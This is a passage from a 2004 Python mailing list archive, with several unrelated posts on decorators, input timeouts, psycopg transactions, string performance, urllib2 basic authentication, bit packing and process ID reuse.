threads" are not powerful enough to do that. -- --Bryan From jeff at ccvcorp.com Wed Sep 1 21:15:17 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 01 Sep 2004 18:15:17 -0700 Subject: Are decorators really that different from metaclasses... In-Reply-To: <mailman.2743.1094082018.5135.python-list@python.org> References: <loom.20040825T004528-605@post.gmane.org> <412C09B4.5070106@yahoo.com> <loom.20040825T055456-468@post.gmane.org> <mailman.2346.1093432824.5135.python-list@python.org> <b8ad139e.0408251248.1bc0d7bf@posting.google.com> <cgj8f5$t1b$1@sea.gmane.org> <e69d3ed2040826003171d312fc@mail.gmail.com> <412D9F1E.6000809@yahoo.it> <mailman.2413.1093518357.5135.python-list@python.org> <nfnri09co3gbg56uoa61h769bh3n5oulqr@4ax.com> <mailman.2423.1093527121.5135.python-list@python.org> <ietri01h4lg9juja87vl02v8pa7hbh6u3o@4ax.com> <e69d3ed204082607536abfa65c@mail.gmail.com> <cgkuf9$ehg$1@sea.gmane.org> <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <e69d3ed2040 <HBF.20040901iia9@bombur.uio.no> <mailman.2743.1094082018.5135.python-list@python.org> Message-ID: <10jcsuh7k4bfl41@corp.supernews.com> Paul Morrow wrote: > Hallvard B Furuseth wrote: > >> Yes, I can compare that. It's fine in a class body, which is executed >> when the class definition is executed. When I see it in a function >> definition, I see a strange use of the assignment operator, which is >> normally a 'run-time' operator, in a place where it not being executed >> at run-time. >> > > It's also a 'definition-time' operator, as it often appears in class and > module definitions. So why not be consistent and let it appear in > function definitions too? What is so outrageous about this idea? On the > 'strange-meter', does it rank as high as docstrings or meaningful > indentation? Yes, it does, because of the way that definition works in Python. Keep in mind that definitions are generated at *run-time*, with dependent suites being handled appropriately according to the type (class, def) of compound statement being executed. Assignment isn't working any differently in class definitions than it is anywhere else; it's just that suites are handled slightly differently in class statements than they are in def statements. (And this different behavior is essential, as that's what creates the difference between a class and a function.) You're asking now that what appears to be a single suite is actually two separate entities, even though there's no visual indication of the break-point (except for the presence of "magic" variables). One of those suites is executed when the def statement is; the other is executed when the function object is called. Wildly different semantics from very similar-looking code at the same level of indentation, based on what *looks* to anyone familiar with current Python as if it's merely an odd naming convention. (I'm sure that you'll argue that the presence of those "magic" variables is enough distinction between the two radically-different blocks of code; I'm also pretty confident that very few people will agree with you, and that nobody with a reasonable understanding of Python internals will be among those few people.) Jeff Shannon Technician/Programmer Credit International From rm at rm.rm Sun Sep 19 21:47:00 2004 From: rm at rm.rm (Radioactive Man) Date: Mon, 20 Sep 2004 01:47:00 GMT Subject: Need function like "raw_input", but with time limit References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com> <mailman.3496.1095587900.5135.python-list@python.org> Message-ID: <t8dsk0h4mnenoq05gqgmc945qv8t3auhrg@4ax.com> On Sun, 19 Sep 2004 12:00:09 +0200, "Fredrik Lundh" <fredrik at pythonware.com> wrote: >"Radioactive Man" <rm at rm.rm> wrote: > >> anyone know of a function like "raw_input", which collects a string >> from the user entry, but one where I can set a time limit, as follows: >> >> time_limit = 10 # seconds >> user_answer = function_xyz("GIVE ME AN ANSWER: ", time_limit) > >this works on some platforms: > >import signal, sys > >def alarm_handler(*args): > raise Exception("timeout") > >def function_xyz(prompt, timeout): > signal.signal(signal.SIGALRM, alarm_handler) > signal.alarm(timeout) > sys.stdout.write(prompt) > sys.stdout.flush() > try: > text = sys.stdin.readline() > except: > text = "" > signal.alarm(0) > return text > ></F> > > Is that for a Unix system? I am running windows 95 and/or XP and my signal.signal module does not have a "SIGALRM" attribute. Thus, I get an error message when I try to run that script. From peter at engcorp.com Fri Sep 10 09:11:12 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 09:11:12 -0400 Subject: Electronic voting feasibility In-Reply-To: <45KdncJwAO8dONzcRVn-hA@powergate.ca> References: <chr77a$4gj@odak26.prod.google.com> <-_CdnSvxZtZcPdzcRVn-iw@giganews.com> <mailman.3140.1094820652.5135.python-list@python.org> <45KdncJwAO8dONzcRVn-hA@powergate.ca> Message-ID: <_rednfOzZYFtOtzcRVn-iA@powergate.ca> Peter Hansen wrote: > Jaime Wyant wrote (top-posting): >> I think the negativity is well founded. http://www.blackboxvoting.org/ > > Doesn't sound like it was a security issue involving choice of > programming language, operating system, or even technical design, > however... > > """This problem appears to demonstrate intent to manipulate elections, > and was installed in the program under the watch of a programmer who is > a convicted embezzler.""" Sorry, I didn't read far enough. Not only was the problem a matter of ethics, but clearly there were significant technical flaws, to the point that if all the points raised are factual, those who implemented and delivered the system were unbelievably irresponsible... they certainly were neither ethical nor competent. -Peter From aleaxit at yahoo.com Wed Sep 1 08:25:31 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 14:25:31 +0200 Subject: sys.stdin.readline() References: <367a4461.0408311221.30866c09@posting.google.com> <HBF.20040831jd9s@bombur.uio.no> <ch31jd$6l3u$1@netnews.upenn.edu> <1gjfriz.1cy11j313viwyqN%aleaxit@yahoo.com> <ch4d9m$77f5$1@netnews.upenn.edu> Message-ID: <1gjfu1g.7eiz7dyy0omkN%aleaxit@yahoo.com> Mike Maxwell <maxwell at ldc.upenn.edu> wrote: > Alex Martelli wrote: > > Mike Maxwell <maxwell at ldc.upenn.edu> wrote: > > No, I think you're correctly observing that Python isn't oriented to > > one-liners -- not at all. Most interesting things in Python require > > more than one line. > > <rant> > I don't care whether it's "interesting", I just want to get some work > done. Something that lets you get work done IS thereby interesting. Most interesting things in Python require more than one line. So, I don't see the basis for your rant. > And since most of the text processing tools in Unixes that I > would otherwise use (grep, sed, tr) don't support Unicode, and are > inconsistent in their regular expression notation to boot, it would be > nice if I could write regex operations in a single, consistent > programming language. Python is a single, consistent programming > language, but as you say, it doesn't lend itself to one-liners. No, but a supporting script similar to the one I suggest below can easily be adapter to offer more sensible functionality than any oneliner might sensibly support -- for example (for the kinds of tasks you imply) by including and automatically using such modules as re and fileinput. > > now, sometying like > > > > bangoneliner.py 'for x in xrange(7):! if x%2:! print x' > > > > should work > > Hmm, I may give that a try...thanks! You're welcome. > > note that inserting the spaces after the bangs to simulate > > proper indentation IS a silly fuss, but you hafta...:-). > > Well, I guess I could translate some other char (one that's easier to > count than spaces) into indents, too. Sure, or you could use (e.g.) '!3' to translate into 'newline then three spaces', or use block start/endmarkers and translate them into indents/dedents, etc, etc. Personally, given your now-restated problem, that you need 'better' versions of grep, sed and tr, I would take another tack -- I would reimplement _those_ in Python with its re sublanguage and Unicode support. Using them should be easier and tighter than putting newliners together, I think. Alex From indigo at bitglue.com Sun Sep 26 09:47:19 2004 From: indigo at bitglue.com (Phil Frost) Date: Sun, 26 Sep 2004 09:47:19 -0400 Subject: Blender! In-Reply-To: <Jyv5d.8761$N45.227281@twister2.libero.it> References: <Jyv5d.8761$N45.227281@twister2.libero.it> Message-ID: <20040926134719.GA17027@unununium.org> I don't speak his language, but I speak enough spanish to understand most of what he's saying. It's something like this: "now, I got and installed Blender, and in python 2.3 compiled a script that told me I didn't have the blender module.. I had changed the variable path (i have XP) to include the blender directory, but it didn't go. Why?" Hopefully I got that right. I can't solve your problem, but I did find some forums in portuguese that might address your problem. Frate: http://www.ibetbsb.com.br/3dzine/forum2/search.asp?KW=PYTHON_PATH&SM=1&SI=PT&FM=0&OB=1&Submit=Procurar On Sun, Sep 26, 2004 at 09:00:25AM +0000, Frate wrote: > Ciao a tutti > allora, ho scaricato e installato blender, ma quando in python(2.3) compilo > un file di esempio mi dice che non trova il modulo blender.. io ho aggiunto > come variabile path (sul mio xp) la directory di bender. ma cmq non va? come > mai? From lkirsh at cs.ubc.ca Fri Sep 3 19:02:30 2004 From: lkirsh at cs.ubc.ca (Lowell Kirsh) Date: Fri, 03 Sep 2004 16:02:30 -0700 Subject: format sring question In-Reply-To: <ch95o9$ams$1@mughi.cs.ubc.ca> References: <ch95o9$ams$1@mughi.cs.ubc.ca> Message-ID: <chat66$lhh$1@mughi.cs.ubc.ca> thanks to both of you. bye bye second version. Lowell Lowell Kirsh wrote: > In Peter Norvig's Infrequently Answered Questions he explains that the > following 2 fnctions look almost identical but are not the same: > > def printf(format, *args): print format % args, > > def printf(format, *args): print str(format) % args, > > The only difference is that in the second one, str(format) replaces > format. If args are not given and the format string contains a '%', the > first will work but the second will not. Why is this so? It seems to me > like '100%' and str('100%) are the same object, no? > > Lowell From groups.google at gnosis.cx Sat Sep 18 14:39:28 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 18 Sep 2004 11:39:28 -0700 Subject: Microthreads without Stackless? References: <mailman.3171.1094844869.5135.python-list@python.org> <Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com> <18282ecb.0409151755.47b691e2@posting.google.com> <Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com> <8cf9f521.0409162213.105d321e@posting.google.com> <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com> <cieafr$m4b$1@nntp0.reith.bbc.co.uk> <8cf9f521.0409171009.142a3fcd@posting.google.com> <g9P2d.20874$7g2.11628@newssvr27.news.prodigy.com> Message-ID: <8cf9f521.0409181039.7fb7cdd8@posting.google.com> Let me follow up briefly on my last note. I presented a callstack-in-coroutines example a few moments ago. The was something like: from __future__ import generators cargo = None def grandma(): yield (MOM, cargo) def mom(): yield (DAUGHTER, cargo) yield (GRANDMA, cargo) def daughter(): yield (MOM, cargo) GRANDMA, MOM, DAUGHTER = grandma(), mom(), daughter() scheduler(GRANDMA) While this system indeed exhibits the desired flow: grandma -> mom -> daughter -> mom -> grandma -> EXIT It is also certainly a brittle arrangement. MOM always goes back to GRANDMA, for example. But in real programs, sometimes GRANDPA wants to switch to MOM also, and still get control back afterwards (rather than always giving it over, indirectly, to GRANDMA). You can perfectly well add this flexibility. It's just a matter of yielding to "the procedure who passed me control" rather than to some hardcoded next procedure. Well, to know that info, you have to store it somewhere. Like, say, in 'cargo'. For example: from __future__ import generators cargo = CargoClass() def grandma(): cargo.MOM_CALLER.append(GRANDMA) yield MOM def grandpa(): cargo.MOM_CALLER.append(GRANDPA) yield MOM def mom(): yield DAUGHTER next_proc = cargo.MOM_CALLER.pop() yield next_proc def daughter(): next_proc = cargo.DAUGHTER_CALLER.pop() yield next_proc GRANDMA, GRANDPA, MOM, DAUGHTER = grandma(), grandpa(), mom(), daughter() if prefers_grandpa: scheduler(GRANDPA) else: scheduler(GRANDMA) Since 'cargo' is now a mutable global, I don't bother passing it around anymore. Implementation of CargoClass() is left as an exercise. I'm sure you can make some convenience functions to simplify the code, if you wish. Yours, David... From luke at deller.id.au Thu Sep 30 02:36:48 2004 From: luke at deller.id.au (Luke) Date: 29 Sep 2004 23:36:48 -0700 Subject: utf-8 in interactive python session Message-ID: <a59726a4.0409292236.53c1f536@posting.google.com> Python doesn't seem to read UTF-8 properly from an interactive session. Am I doing something wrong? luked at sor ~ $ echo $LANG en_AU.UTF-8 luked at sor ~ $ python Python 2.3.4 (#1, Aug 12 2004, 17:23:54) [GCC 3.4.1 (Gentoo Linux 3.4.1, ssp-3.4-2, pie-8.7.6.3)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import sys >>> print sys.getdefaultencoding() utf-8 >>> u'π' # embedded greek letter 'pi' (possibly mangled by google groups news client), should return u'\u03c0' u'\xcf\x80' >>> u'\u03c0'.encode() '\xcf\x80' >>> From alban at magproductions.nl Mon Sep 20 08:43:38 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 20 Sep 2004 14:43:38 +0200 Subject: Psycopg and threads problem Message-ID: <cimj9q$7jr$1@netlx020.civ.utwente.nl> Hello, I'm using psycopg to insert records in a number of threads. After the threads finish, another thread runs to collect the inserted data. Now, my problem is that psycopg let's my threads end before the inserts actually took place, resulting in my collecting thread finding no records... They are inserted after it checks. Is there a way to tell psycopg or python to wait until the insert took place? Alban. From steve at holdenweb.com Mon Sep 27 07:45:43 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 27 Sep 2004 07:45:43 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools In-Reply-To: <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> References: <mailman.3802.1095960335.5135.python-list@python.org><QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net><mailman.3864.1096040439.5135.python-list@python.org><mfydnUd5Idex1srcRVn-pQ@rogers.com><tpudnXILROwO88rcRVn-sw@powergate.ca> <mailman.3947.1096250696.5135.python-list@python.org> <kdWdndU_KZvAFcrcRVn-gQ@rogers.com> Message-ID: <4157FD67.80404@holdenweb.com> Dan Perl wrote: > Yes, that's what I was talking about. Thanks, Carlos, for explaining it. I > actually should have said false detection of exceptions or wrong detection > of exceptions. I don't remember what Wingware are calling it. Actually, > the way they were qualifying it was something like "if you do not see this > exception when running the script outside the IDE, then you should probably > flag it to be ignored". And they are giving a list of builtin modules where > those exceptions are usually "falsely" detected. > As a recent convert to Wing I think you aren't giving them enough credit: remember, this only happens in the 2.0 BETA product (or, if it also happens in earlier versions, they are definitely planning to minimize the effects in the production version). > I didn't try to figure out what their exception detection mechanism is and > why they have this problem. I just uninstalled the IDE. So 10 days for the > trial was more than enough after all. ;-) I think I had it installed for > about 2 days. I can tolerate a bug and I wouldn't be so riled up, but what > got me was the marketing spin and how they were just excusing the bug, like > they would never fix it. > Well, I'm sure I remember reading somewhere that before they go into production they plan to add a standard list of such exceptions for the various Python versions, so that the standard libraries are far less troublesome in this respect. Plus, IIRC, all you have to do is check an "ignore this exception" box to have a specific exception ignored everafter, which didn't seem like a huge deal to me. > The "false exceptions" and the lack of a class browser made me decide not to > choose Wing IDE this time. Their attitude about the "false exceptions" made > me cut the trial short and never to consider Wing IDE again. > I find that it's very useful to be able to select from a dropdown list of defined classes, and then select from a further drop-down list of methods of that class. While it may not be a full class browser it's certainly excellent functionality. regards Steve From indigo at bitglue.com Wed Sep 22 10:38:19 2004 From: indigo at bitglue.com (Phil Frost) Date: Wed, 22 Sep 2004 10:38:19 -0400 Subject: Python speed-up In-Reply-To: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> Message-ID: <20040922143819.GA23219@unununium.org> String contatination in Python might be slower than you think it is, because it requires building a new string, which involves a memory allocation and copy. Suggested reading: <http://www.skymind.com/~ocrow/python_string/> For the seccond part, try replacing encoded_text = encoded_text[8:] with del encoded_text[:8] Or, use an index variable and don't mutate the list at all. On Wed, Sep 22, 2004 at 04:06:04PM +0200, Guyon Mor?e wrote: > Hi all, > > I am working on a Huffman encoding exercise, but it is kinda slow. This is > not a big problem, I do this to educate myself :) > > So I started profiling the code and the slowdown was actually taking place > at places where I didn't expect it. > > after I have created a lookup-table-dictionary with encodings like > {'d':'0110', 'e':'01' etc} to encode the original text like this: > > for c in original_text: > encoded_text += table[c] > > I can appreciate the length of the text is big, but this isn't a problem at > character frequency counting for eaxample. Why is this slow? > > > the second place the slowdown occurs is when I ty to chop the encoded string > of 0's and 1's in pieces of eigth like this: > > chr_list = [] # resulting list > while 1: > chr_list.append(encoded_text[:8]) # take 8 bits from string and put them > in the list > encoded_text = encoded_text[8:] # truncate the string > if len(encoded_text) < 8: # end of string reached > chr_list.append(encoded_text) > break > > > I hope someone can tell me why these are slow. > > > regards, > > Guyon > > > -- > http://mail.python.org/mailman/listinfo/python-list From davecook at nowhere.net Thu Sep 9 00:30:57 2004 From: davecook at nowhere.net (Dave Cook) Date: Thu, 09 Sep 2004 04:30:57 GMT Subject: Connecting to a postgresql DB? References: <pan.2004.09.08.21.54.22.327805@augustmail.com> Message-ID: <slrncjvnri.5oj.davecook@localhost.localdomain> In article <pan.2004.09.08.21.54.22.327805 at augustmail.com>, Lance Hoffmeyer wrote: > I am trying to learn some basics of python. One of the things > I want to do is write a script to access a postgresql database > DB as user USER with password PW and > > SELECT first_name, last_name, birthday FROM contacts > > print to the screen and then disconnect. This assumes you have the standard postgresql-python package. You may also want to try psycopg or pyPgSQL. >>> import pgdb >>> conn = pgdb.connect(database='DB', user='USER', password='PW') >>> cursor = conn.cursor() >>> cursor.execute("SELECT first_name, last_name, birthday FROM contacts") >>> colnames = [t[0] for t in cursor.description] >>> rows = cursor.fetchall() >>> data = [dict(zip(colnames, row)) for row in rows] >>> print data Dave Cook From ialbert at mailblocks.com Mon Sep 20 10:59:51 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 20 Sep 2004 10:59:51 -0400 Subject: Psycopg and threads problem In-Reply-To: <cimj9q$7jr$1@netlx020.civ.utwente.nl> References: <cimj9q$7jr$1@netlx020.civ.utwente.nl> Message-ID: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> Alban Hertroys wrote: > my problem is that psycopg let's my threads end before the inserts > actually took place, resulting in my collecting thread finding no Make sure you commit the inserts. Otherwise you might simply end up selecting on the old view. There is a commit when you close the db connection so the data is there when you check it later. When migrating from dbs without transaction support this can be very confusing. Istvan. From programmer.py at gmail.com Fri Sep 17 08:37:44 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Fri, 17 Sep 2004 07:37:44 -0500 Subject: HTTP - basic authentication example. In-Reply-To: <6f402501040917052046cb7648@mail.gmail.com> References: <6f402501.0409150737.1bfc6958@posting.google.com> <d52c72d2040915092132ce7c34@mail.gmail.com> <6f402501040917052046cb7648@mail.gmail.com> Message-ID: <d52c72d204091705374198e81e@mail.gmail.com> Good stuff. I knew if we knocked our heads together something good would come out ;-). jw On Fri, 17 Sep 2004 13:20:23 +0100, Michael Foord <fuzzyman at gmail.com> wrote: > I've added this example to the python cookbook (which basically does > what your example does I think) - > > The proper way of actually doing this is to use an > HTTPBasicAuthHandler along with an HTTPPasswordMgr. > The python documentation on this is actually pretty minimal - so below > is an example showing how to do this. > The main problem with HTTPPasswordMgr is that you must *already* know > the realm - so we're going to use the HTTPPasswordMgrWithDefaultRealm > instead !! > > theurl = 'http://www.someserver.com/highestlevelprotectedpath/somepage.htm' > username = 'johnny' > password = 'XXXXXX' # a great password > > passman = urllib2.HTTPPasswordMgrWithDefaultRealm() # this > creates a password manager > passman.add_password(None, theurl, username, password) # because > we have put None at the start it will always use this > username/password combination > > authhandler = urllib2.HTTPBasicAuthHandler(passman) # > create the AuthHandler > > opener = urllib2.build_opener(authhandler) > # build an 'opener' using the handler we've created > # you can use the opener directly to open URLs > # *or* you can install it as the default opener so that all calls to > urllib2.urlopen use this opener > urllib2.install_opener(opener) > > # All calls to urllib2.urlopen will now use our handler > > > > > On Wed, 15 Sep 2004 11:21:21 -0500, Jaime Wyant <programmer.py at gmail.com> wrote: > > FWIW, this is how I handle Basic Authentication: > > > > import urllib2 > > import sys > > > > class AuthenticateAllURIs: > > """This class authenticates all Basic Authentication using uname > > / pword.""" > > def __init__(self,uname,pword): > > self.uname = uname > > self.pword = pword > > > > def find_user_password(self, realm, host): > > # Note, that this class doesn't take `realm' into consideration. > > return self.uname, self.pword > > > > def add_password( self, realm, uri, user, password ): > > pass > > > > auth = urllib2.ProxyBasicAuthHandler(AuthenticateAllURIs('umjaw', 'fuse3')) > > opener = urllib2.build_opener( auth ) > > urllib2.install_opener( opener ) > > wp = urllib2.urlopen("http://www.slashdot.org") > > print wp.read() > > > > HTH, > > jw > > > > On 15 Sep 2004 08:37:12 -0700, Michael Foord <fuzzyman at gmail.com> wrote: > > [ snip! ] > > > > -- > http://www.Voidspace.org.uk > The Place where headspace meets cyberspace. Online resource site - > covering science, technology, computing, cyberpunk, psychology, > spirituality, fiction and more. > > --- > http://www.Voidspace.org.uk/atlantibots/pythonutils.html > Python utilities, modules and apps. > Including Nanagram, Dirwatcher and more. > --- > http://www.fuchsiashockz.co.uk > http://groups.yahoo.com/group/void-shockz > --- > > Everyone has talent. What is rare is the courage to follow talent > to the dark place where it leads. -Erica Jong > Ambition is a poor excuse for not having sense enough to be lazy. > -Milan Kundera > From carribeiro at gmail.com Wed Sep 22 16:14:47 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 22 Sep 2004 17:14:47 -0300 Subject: An attempt to use a python-based mini declarative language fo r form definition In-Reply-To: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar> References: <A128D751272CD411BC9200508BC2194D053C79B0@escpl.tcp.com.ar> Message-ID: <864d370904092213145b048ce0@mail.gmail.com> [Facundo Batista] > There should be some way to pass the "location". If you solve this, > you got your answer (of course, passing the "location" is not trivial, > that's why every GUI toolkit has it own approach). That's *exaclty* the root of my problems. I don't want to specify positioning; I only want to use *relative positioning* for everything, working as automatically as possible. Will it work for all situations? I'm not sure. But I think it's worth investigating. What I intend to do is to borrow some of the layout techniques defined by CSS+DHTML. It is *much* more complex that this, but it basically works by formatting "block level" and "inline elements" elements relatively to each other. You can give hints as to the relative positioning -- absolute, relative, floating to the left, floating to the right, and stuff like that. The layout engine positions everything according to the constraints. If the engine doesn't support advanced layout, it simply falls back to a simple sequence of entries according to the original text flow. There are two reasons behnd my choice: -- there is a lot of knowledge today about how to make good interfaces using CSS. It's faster to develop and is more flexible regarding different engines and platforms than to rely on absolute positioning (as conventional GUI builders do) -- it makes *much* easier to use the same form definition on native GUIs and web-based ones. My goal is to be able to build a wxPython dialog or a web form from the same description. That's why I can't give positioning hints, at least for now. But I could include relative ordering information; for example, an arbitrary tag number. But doing this I would defeat my objective of clarity of design. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From bokr at oz.net Fri Sep 10 19:45:54 2004 From: bokr at oz.net (Bengt Richter) Date: 10 Sep 2004 23:45:54 GMT Subject: python and bit shifts and byte order, oh my! References: <9490d.126$KA1.1800@news1.mts.net> <chrogi$gmk$1@news1.wdf.sap-ag.de> <sWk0d.3$Uo1.23@news1.mts.net> <4141e6f2$0$67058$a1866201@newsreader.visi.com> <P0n0d.62$Uo1.261@news1.mts.net> <mailman.3169.1094844046.5135.python-list@python.org> <txn0d.67$Uo1.323@news1.mts.net> <cht24b$6m1$1@news.service.uci.edu> <nso0d.77$Uo1.255@news1.mts.net> Message-ID: <chtebi$goo$0$216.39.172.122@theriver.com> On Fri, 10 Sep 2004 15:51:33 -0500, Reid Nichol <rnichol_rrc at yahoo.com> wrote: >Jason Lai wrote: >> If efficiency isn't important, you could forget about the whole >> byte-order thing and just read/write it byte-by-byte. Then you can think >> of the file as a bit-stream (everything gets written in order and read >> back in order), although you still have to read/write a whole 8-bit byte >> at a time. >> >> - Jason Lai > >Since the format can have: >5bit >24bit >24bit > >I assumed that I would have to write byte by byte. And I don't really >consider speed important so I think that it's viable to do it this way. > >@Grant >This is what I meant. I would suggest you define a class (e.g., subclass the builtin file type) that serves as a convenient (for you) bit-wise interface to a binary file (binary is important on windows, or you will EOL conversions when you write). E.g., so you will be able to write code like: bf = BitFile('data/bitfile.dat', 'wb') bf.write(0xfa, 5) bf.write(whatever, 24) bf.close() The class will have to take care of buffering and packing and unpacking and endianness and how to deal with a file that is not an integral number times 8 bits total (if you are defining the format, you could always append an extra byte on close that says how many bits there are in the last (preceding) data byte, so you could read back exactly the bits specified). You could also give the class properties for common bit field widths, so that the effect of e.g., the above writes would look like bf.b5 = 0xfa bf.b24 = whatever would be to write (actually buffer, since you have to do that for fractional bytes anyway, and will gain in i/o performance for larger chunks) five bits. On the read side, you might want to distinguish between signed and unsigned bitfields, e.g., signed = bf.s5 # read next 5 bits as signed integer unsigned = bf.u5 # ditto, except unsigned Of course, packing bits together from a sequence of numbers into a string of bytes has nothing necessarily to do with file i/o, so you might want to factor that out. E.g., you could take inspiration from struct to create something that works by bit fields, e.g., say '.n' means pack n bits adjacent to previously buffered bits. Say ',n' means skip n bits as if you were reading or writing (introducing default 0 if not re-writing), and then use the struct type letters for alignment skips, e.g., 'h' to skip to end of current short, or 'l' to skip to end of current long. Then pack('<.3,2.7h.24l', x, y, z) could be a little-endian packing of size(short)+size(long) bits, with two fields x and y of 3 and 7 bits respectively, separated by a 2-bit space, packed into a short, followed z packed into the bottom of a long, for six bytes total. Probably pack should be a class so that you get back an object that has both data bytes and total bit length and methods for convenient concatenation, so pack('.3', 10) + pack('.4', 15) == pack('.3.4', 10, 15) Sorry I don't have time to implement this now (actually, I have a strictly-little-endian hack that I used for some music compression experiments a while back, maybe I can find it later). API preferences could probably stand a little discussion anyway ;-) Regards, Bengt Richter From jmfbahciv at aol.com Fri Sep 3 06:51:21 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:51:21 GMT Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <41337FC9.8070902@hotmail.com> <slrncj7hhh.2pt.amajorel@atc5.vermine.org> <p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com> <slrncj8m5n.2pt.amajorel@atc5.vermine.org> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <opsdpdzglzpqzri1@mjolner.upc.no> <41376DCA.B833324A@yahoo.com> Message-ID: <41385f7f$0$19713$61fed72c@news.rcn.com> In article <41376DCA.B833324A at yahoo.com>, CBFalconer <cbfalconer at yahoo.com> wrote: >John Thingstad wrote: >> >.... snip ... >> >> These peaple had more than a 100 years of experience in >> developing muliuser / mutitasking operating systems between >> them. The fact that the NT kernel is not entirely stable yet >> really shouldn't supprise anyone. Afterall Unix has messed >> with it's kernel for 30 years. But the modular arcitecture >> and the microkernel are new ideas in OS design and should in >> time lead to a more extensible OS than unix. > >The original NT (3.0) was well designed, but slow on the hardware >of the time. Then MS got to work increasing module connectivity >and reducing reliability. V3? I thought V4 was their last good one before they started to put apps into execmode. <snip> /BAH Subtract a hundred and four for e-mail. From adalke at mindspring.com Thu Sep 30 03:00:47 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 30 Sep 2004 07:00:47 GMT Subject: multiple instance on Unix In-Reply-To: <du7zn38qojj.fsf@amadeus.cc.tut.fi> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <mailman.4104.1096493884.5135.python-list@python.org> <x7d604xxv3.fsf@guru.mired.org> <fngs22-orb.ln1@lairds.us> <du7zn38qojj.fsf@amadeus.cc.tut.fi> Message-ID: <zaO6d.13713$gG4.4042@newsread1.news.pas.earthlink.net> Ville Vainio wrote: > I'd go for pid file - in Unix at least, process id's are not reused so > if no process for the pid in pidfile exists, the process has died. They aren't? I remember seeing them cycle before. Granted, pids are now, what 32 bit numbers so it's rare, but there's nothing in the Unix specs to say they cannot. I pulled out my Minix book (much easier to root through, err, read through than the Linux one, plus I'll need to boot that machine :) p. 548, mm/forkexit.c, lines 5739-5749 do { t = 0; /* 't' = 0 means pid still free */ next_pid = (next_pid < 30000 ? next_pid + 1 : INIT_PROC_NR + 1); for (rmp = &mproc[0]; rmp < &mproc[NR_PROCS]; rmp++) if (rmp->mp_pid == next_pid) { t = 1; break; } rmc->mp_pid = next_pid; /* assign pid to child */ } while (t); In other words Minix, a Unix (like) OS, cycled pids, with maxpid == 29999. Ah-ha, here's experimental proof. I can log into a machine named 'xebte' (I have "alias xebte ssh xebte.[...]") Elipsis used to obscure the hostname % xebte uname -a FreeBSD xebte[...] 4.8-STABLE FreeBSD 4.8-STABLE [...] % xebte uptime 2:44AM up 90 days, 4:20, 2 users, load averages: 0.98, 0.98, 1.07 % xebte ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND dalke 442 0.0 0.3 4908 1328 ?? S 2:44AM 0:00.00 sshd: dalke at notty dalke 447 0.0 0.1 1124 564 ?? Ss 2:44AM 0:00.01 csh -c ps aux dalke 448 0.0 0.0 392 212 ?? RN 2:44AM 0:00.00 ps aux (waited a few minutes) % xebte ps aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND dalke 5798 0.0 0.3 4908 1344 ?? S 2:48AM 0:00.00 sshd: dalke at notty dalke 5805 0.0 0.1 1124 712 ?? Ss 2:48AM 0:00.01 csh -c ps aux dalke 5806 0.0 0.0 392 212 ?? RN 2:48AM 0:00.00 ps aux It made >4000 processes in a few minutes so it must have cycled so as to have a pid == 442 after 90 days of uptime. I was also pretty lucky to get a small pid that was perfect for this counter-example. Even at 1,500 processes a minute it should take 32 months to cycle signed int. Either FreeBSD uses a smaller range than that or things get a lot busier during the day on that machine. Andrew dalke at dalkescientific.com From carribeiro at gmail.com Tue Sep 21 07:10:13 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 08:10:13 -0300 Subject: Comparioson of purpose for PyGUI and AnyGUI ??? In-Reply-To: <cc887c1d.0409202221.214a46b5@posting.google.com> References: <a5415304.0409160644.41adea51@posting.google.com> <cid5as$u3j$1@news-reader2.wanadoo.fr> <cc887c1d.0409162041.1433bac1@posting.google.com> <pan.2004.09.18.07.53.35.276252@virgilio.it> <1gkb1xb.13ayfy1rayeymN%aleaxit@yahoo.com> <slrnckoabl.mb3.mlh@furu.idi.ntnu.no> <864d37090409180613135d02de@mail.gmail.com> <20040920231839.GA17517@grulic.org.ar> <mailman.3618.1095731982.5135.python-list@python.org> <cc887c1d.0409202221.214a46b5@posting.google.com> Message-ID: <864d37090409210410cd2770c@mail.gmail.com> On 20 Sep 2004 23:21:03 -0700, Chris Barker <barkmann at gmail.com> wrote: > Carlos Ribeiro <carribeiro at gmail.com> wrote in 